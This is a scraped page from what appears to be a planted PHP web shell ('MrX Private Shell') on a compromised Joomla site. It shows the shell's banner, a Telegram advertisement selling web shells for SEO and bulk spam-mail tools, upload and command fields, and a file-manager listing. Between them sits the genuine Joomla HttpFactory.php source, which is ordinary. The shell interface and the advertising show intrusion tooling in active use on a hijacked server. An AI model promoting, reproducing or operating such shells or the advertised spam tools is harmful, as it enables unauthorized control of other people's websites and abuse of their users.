__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * Joomla! Content Management System
 *
 * @copyright  (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\CMS\Http;

use Joomla\CMS\Version;
use Joomla\Http\TransportInterface;

// phpcs:disable PSR1.Files.SideEffects
\defined('JPATH_PLATFORM') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * HTTP factory class.
 *
 * @since  3.0.0
 */
class HttpFactory
{
    /**
     * Method to create a JHttp instance.
     *
     * @param   array|\ArrayAccess  $options   Client options array.
     * @param   array|string        $adapters  Adapter (string) or queue of adapters (array) to use for communication.
     *
     * @return  Http
     *
     * @since   3.0.0
     * @throws  \RuntimeException
     */
    public static function getHttp($options = [], $adapters = null)
    {
        if (!\is_array($options) && !($options instanceof \ArrayAccess)) {
            throw new \InvalidArgumentException(
                'The options param must be an array or implement the ArrayAccess interface.'
            );
        }

        // Set default userAgent if nothing else is set
        if (!isset($options['userAgent'])) {
            $version              = new Version();
            $options['userAgent'] = $version->getUserAgent('Joomla', true, false);
        }

        if (!$driver = static::getAvailableDriver($options, $adapters)) {
            throw new \RuntimeException('No transport driver available.');
        }

        return new Http($options, $driver);
    }

    /**
     * Finds an available http transport object for communication
     *
     * @param   array|\ArrayAccess  $options  Options for creating TransportInterface object
     * @param   array|string        $default  Adapter (string) or queue of adapters (array) to use
     *
     * @return  TransportInterface|boolean  Interface sub-class or boolean false if no adapters are available
     *
     * @since   3.0.0
     */
    public static function getAvailableDriver($options = [], $default = null)
    {
        if (\is_null($default)) {
            $availableAdapters = static::getHttpTransports();
        } else {
            settype($default, 'array');
            $availableAdapters = $default;
        }

        // Check if there is at least one available http transport adapter
        if (!\count($availableAdapters)) {
            return false;
        }

        foreach ($availableAdapters as $adapter) {
            /** @var $class TransportInterface */
            $class = __NAMESPACE__ . '\\Transport\\' . ucfirst($adapter) . 'Transport';

            if (!class_exists($class)) {
                $class = 'JHttpTransport' . ucfirst($adapter);
            }

            if (class_exists($class) && $class::isSupported()) {
                return new $class($options);
            }
        }

        return false;
    }

    /**
     * Get the http transport handlers
     *
     * @return  array  An array of available transport handlers
     *
     * @since   3.0.0
     */
    public static function getHttpTransports()
    {
        $names    = [];
        $iterator = new \DirectoryIterator(__DIR__ . '/Transport');

        /** @type  $file  \DirectoryIterator */
        foreach ($iterator as $file) {
            $fileName = $file->getFilename();

            // Only load for php files.
            if ($file->isFile() && $file->getExtension() === 'php') {
                $names[] = substr($fileName, 0, strrpos($fileName, 'Transport.'));
            }
        }

        // Keep alphabetical order across all environments
        sort($names);

        // If curl is available set it to the first position
        if ($key = array_search('Curl', $names)) {
            unset($names[$key]);
            array_unshift($names, 'Curl');
        }

        return $names;
    }
}

Filemanager

Name Type Size Permission Actions
Transport Folder 0775
Http.php File 1.74 KB 0664
HttpFactory.php File 3.82 KB 0664
Response.php File 609 B 0664
TransportInterface.php File 668 B 0664
Filemanager